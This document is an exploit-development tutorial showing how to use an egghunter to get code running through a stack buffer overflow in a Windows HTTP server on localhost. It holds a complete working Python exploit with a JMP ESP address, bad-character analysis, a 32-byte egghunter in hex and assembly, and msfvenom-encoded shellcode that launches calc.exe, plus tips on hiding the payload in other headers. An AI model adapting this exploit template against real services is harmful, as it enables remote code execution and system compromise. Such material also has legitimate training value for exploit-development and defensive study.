When the buffer space at the crash point is too small for shellcode, egghunters provide a solution. An egghunter is a small piece of code (~32 bytes) that searches memory for a unique marker (“egg”) and jumps to the larger shellcode following it.
When to Use Egghunters
- Limited buffer space after EIP overwrite
- Shellcode stored elsewhere in memory (earlier in the request, another field, etc.)
- Need to locate payload at runtime
Understanding Egghunters
How It Works
- Place full shellcode with an egg marker somewhere in memory
- Overwrite EIP to execute egghunter
- Egghunter searches all memory for the egg
- When found, execution jumps to the shellcode
The Egg
- 4-byte unique pattern repeated twice:
STRMSTRM - Must not appear anywhere else in the exploit
- Repeated to avoid false positives
Initial Analysis
Exploit Skeleton
import socket
payload1 = "A"*515 + "BBBB" + "C"*100
buffer = (
"HEAD /" + payload1 + " HTTP/1.1\r\n"
"Host: 127.0.0.1:8080\r\n"
"User-Agent: Exploit writer\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n"
)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("127.0.0.1", 8080))
expl.send(buffer)
expl.close()Verify EIP Control
After crashing:
EIP: 42424242Only ~100 bytes available after EIP - not enough for standard shellcode.
Finding JMP ESP
!mona jmp -r esp -cpb "\x00\x0a\x0d"Results:
0x773d10a4 : jmp esp | SHELL32.dll | ASLR: False, SafeSEH: FalseIdentifying Bad Characters
Using mona
!mona config -set workingfolder C:\mona\
!mona bytearray -b "\x00"Send all bytes and compare:
!mona compare -f C:\mona\bytearray.bin -a <ESP_address>Bad Characters Found
\x00\x20\x3f\x00- Null byte\x20- Space (HTTP parsing)\x3f- Question mark (URL parsing)
Generating the Egghunter
!mona egg -t STRMOutput:
Egghunter, tag STRM:
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x53\x54\x52\x4d\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
Put this tag in front of your shellcode: STRMSTRMThe egghunter is only 32 bytes - perfect for limited space.
Generating Shellcode
msfvenom -p windows/exec cmd=calc.exe \
-b "\x00\x20\x3f" \
-f cComplete Exploit
import socket
# Bad chars: \x00\x20\x3f
# Egghunter (32 bytes) - searches for STRMSTRM
egghunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x53\x54\x52\x4d\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)
# Shellcode with egg marker
shellcode = (
"\xda\xda\xd9\x74\x24\xf4\x5a\xbf\x54\x98\xd7\x97\x31\xc9\xb1"
"\x31\x31\x7a\x18\x83\xc2\x04\x03\x7a\x40\x7a\x22\x6b\x80\xf8"
"\xcd\x94\x50\x9d\x44\x71\x61\x9d\x33\xf1\xd1\x2d\x37\x57\xdd"
"\xc6\x15\x4c\x56\xaa\xb1\x63\xdf\x01\xe4\x4a\xe0\x3a\xd4\xcd"
"\x62\x41\x09\x2e\x5b\x8a\x5c\x2f\x9c\xf7\xad\x7d\x75\x73\x03"
"\x92\xf2\xc9\x98\x19\x48\xdf\x98\xfe\x18\xde\x89\x50\x13\xb9"
"\x09\x52\xf0\xb1\x03\x4c\x15\xff\xda\xe7\xed\x8b\xdc\x21\x3c"
"\x73\x72\x0c\xf1\x86\x8a\x48\x35\x79\xf9\xa0\x46\x04\xfa\x76"
"\x35\xd2\x8f\x6c\x9d\x91\x28\x49\x1c\x75\xae\x1a\x12\x32\xa4"
"\x45\x36\xc5\x69\xfe\x42\x4e\x8c\xd1\xc3\x14\xab\xf5\x88\xcf"
"\xd2\xac\x74\xa1\xeb\xaf\xd7\x1e\x4e\xbb\xf5\x4b\xe3\xe6\x93"
"\x8a\x71\x9d\xd1\x8d\x89\x9e\x45\xe6\xb8\x15\x0a\x71\x45\xfc"
"\x6f\x8d\x0f\x5d\xd9\x06\xd6\x37\x58\x4b\xe9\xed\x9e\x72\x6a"
"\x04\x5e\x81\x72\x6d\x5b\xcd\x34\x9d\x11\x5e\xd1\xa1\x86\x5f"
"\xf0\xc1\x49\xcc\x98\x2b\xec\x74\x3a\x34"
)
# Build payload
# Egg + shellcode goes at the beginning (will be found by egghunter)
payload1 = "STRMSTRM" # Egg marker (8 bytes)
payload1 += shellcode # Full shellcode
payload1 += "A"*(515-len(payload1)) # Padding to reach EIP
payload1 += "\xa4\x10\x3d\x77" # JMP ESP (0x773d10a4)
payload1 += egghunter # Egghunter (32 bytes)
payload1 += "C"*(100-len(egghunter)) # Remaining padding
buffer = (
"HEAD /" + payload1 + " HTTP/1.1\r\n"
"Host: 127.0.0.1:8080\r\n"
"User-Agent: Exploit writer\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n"
)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("127.0.0.1", 8080))
expl.send(buffer)
expl.close()Execution Flow
1. Send exploit request
2. "HEAD /[EGG+SHELLCODE][PADDING][JMP_ESP][EGGHUNTER] HTTP/1.1..."
3. Crash occurs, EIP = JMP ESP
4. JMP ESP executes egghunter
5. Egghunter searches memory for "STRMSTRM"
- Uses system calls to safely check addresses
- Avoids access violations on invalid memory
6. Finds egg at beginning of request
7. Jumps past egg to shellcode
8. Shellcode executesMemory Layout
HTTP Request in Memory:
Lower Address
| "HEAD /" | STRMSTRM | Shellcode | "A" padding | JMP ESP | Egghunter | " HTTP/..." |
^ |
| v
+---- Egghunter finds this ----<---- Starts hereEgghunter Internals
; NtAccessCheckAndAuditAlarm technique
loop_inc_page:
or dx, 0x0fff ; Go to last address in page
loop_inc_one:
inc edx ; Next address
push edx ; Save address
push 0x02 ; Syscall: NtAccessCheckAndAuditAlarm
pop eax
int 0x2e ; Syscall
cmp al, 0x05 ; ACCESS_VIOLATION?
pop edx ; Restore address
je loop_inc_page ; If violation, skip page
mov eax, 0x4d525453 ; "STRM" backwards
mov edi, edx
scasd ; Compare [edi] with eax
jne loop_inc_one ; Not found, try next
scasd ; Check second occurrence
jne loop_inc_one ; Not found, try next
jmp edi ; Found! Jump to shellcodeTips and Troubleshooting
Egg Not Found
- Verify egg is in memory (search manually in debugger)
- Check if egg bytes are corrupted by bad characters
- Ensure egg is accessible (not in freed memory)
Slow Execution
Egghunters search all memory - can take several seconds. This is normal.
Alternative Egg Placement
The egg + shellcode can be in:
- Earlier part of the same request
- Different HTTP header
- Separate request (if state persists)
- User-Agent field
- Cookie header
Custom Tags
Choose a unique 4-byte tag:
!mona egg -t CUSTAvoid tags that might appear in normal memory.